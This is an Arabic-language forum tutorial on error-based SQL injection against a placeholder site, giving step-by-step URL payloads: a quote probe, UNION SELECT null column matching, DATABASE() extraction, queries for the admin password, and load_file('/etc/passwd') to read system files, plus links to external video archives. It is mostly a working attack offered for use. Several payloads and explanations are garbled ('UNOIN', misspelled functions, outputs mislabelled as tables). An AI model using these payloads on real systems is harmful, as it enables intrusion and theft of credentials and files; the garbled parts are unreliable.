بسم الله الرحمان الرحيم
السلام عليكم و رحمة الله تعالى و براكته
تعريف SQL-injection :-
هي تقنيه المستخدمة للاستفادة من الضعف اصدار عن اوامر الكترونيه عبر شبكة لتنفيذ التطبيق من قاعدة البيانات الخلفية ( SQL ) وطبعا المهاجمون يعملون علي الاستفادة الحقيقة من هذا الضعف للوصول الي المعلومات السريه الخاص بالموقع
نبداء شرح استغل SQL-injection عن طريق الخطاء
mysql_fecth_array()
مثل الموقع المستهدف
[****]
كود:
http://www.site.com/index.php?id=1
طبعا لكتشاف الخطاء هنحاول ندخل رمز غير معروف في القاعده لحدوث الخطاء مثل
[****]
كود:
1'
ليكون بالشكل الاتي في HTTP
[****]
كود:
http://www.site.com/index.php?id=1'
طبعا القاعد لم تستطيع التعرف علي الرمز 1'
هيظهر الخطاء ان الامر خطاء
هيكون
[****]
كود:
Warning: mysql_fecth_array(): supplied argument is not a valid MySQL result resource in
/home/site/index.php on line N
خطاء قواعد البيانات في الداله
Warning: mysql_fecth_array():
هنا يمكن الاستغلال مباشر لل SQL-injection
وفي نفس الوقت ظهر لينا مكان الموقع علي السيرفر
home/site/index.php
بنداء دلوقتي في تطبيق SQL-injection
[****]
كود:
UNION SELECT null/*
UNION والامر هذا يستخدم لإضافة استعلام اخر تابع للاستعلام المصاب بالثغره
SELECT : وهذا الامر عن طريقه يتم استخراج البيانات
Null : وهذا الامر لظبط عدد columns مع القاعده وطبعا بتفضل تزود null للربط بالقاعد
المهم شوف الفديو ده علي لكي تفهم
http://www.wdzone.net/Public/video/MYSQLROOT.rar
المهم بعد كده هنجرب نبداء ب null واحده
[****]
كود:
http://www.site.com/index.php?id=1'UNION SELECT null/*
للاسف لم تربط بالقاعده هنجرب 2 null
[****]
كود:
http://www.site.com/index.php?id=1'UNION SELECT null,null/*
كده ربط بالقاعده طيب دلوقتي عايزين نعرف Table في القاعده
بستخدام الامر DATABASE() وهنضيف الداله دفي اخر null
[****]
كود:
http://www.site.com/index.php?id=1'UNION SELECT null,DATABASE()/*
هيكون الناتج
[****]
كود:
USER()
PASSWORD()
VERSION()
طبعا الجداول دي ايوزر بتاع اسم المستخدم و الباسورد بتاع باسورد الادمن
وهيكون الاستعلام لستخراج الباسورد
[****]
كود:
http://www.site.com/index.php?id=1'UNOIN SELECT null,password /*
و امر استخراج اليوزر
[****]
كود:
http://www.site.com/index.php?id=1'UNOIN SELECT null,password WHERE user='admin' /*
البعض هيقول طيب SQL-injection فاشله علي شان بتجيب الباسورد MD5
لكن هوريك امر يعتبر فيل انكلود وهو بستخدام الامر load_file()
وهيكون الاستعلام فيه
[****]
كود:
http://www.site.com/index.php?id=1'UNOIN SELECT null,load_file('/etc/passwd')/*
و الامر ده هيعرض ليك PAsswd يعني يتم الاستغل فيل انكلود وشوف الفديو ده وانت تعرف خطوره الداله file_load
شوف الفديو
http://www.wdzone.net/Public/video/INclude.rar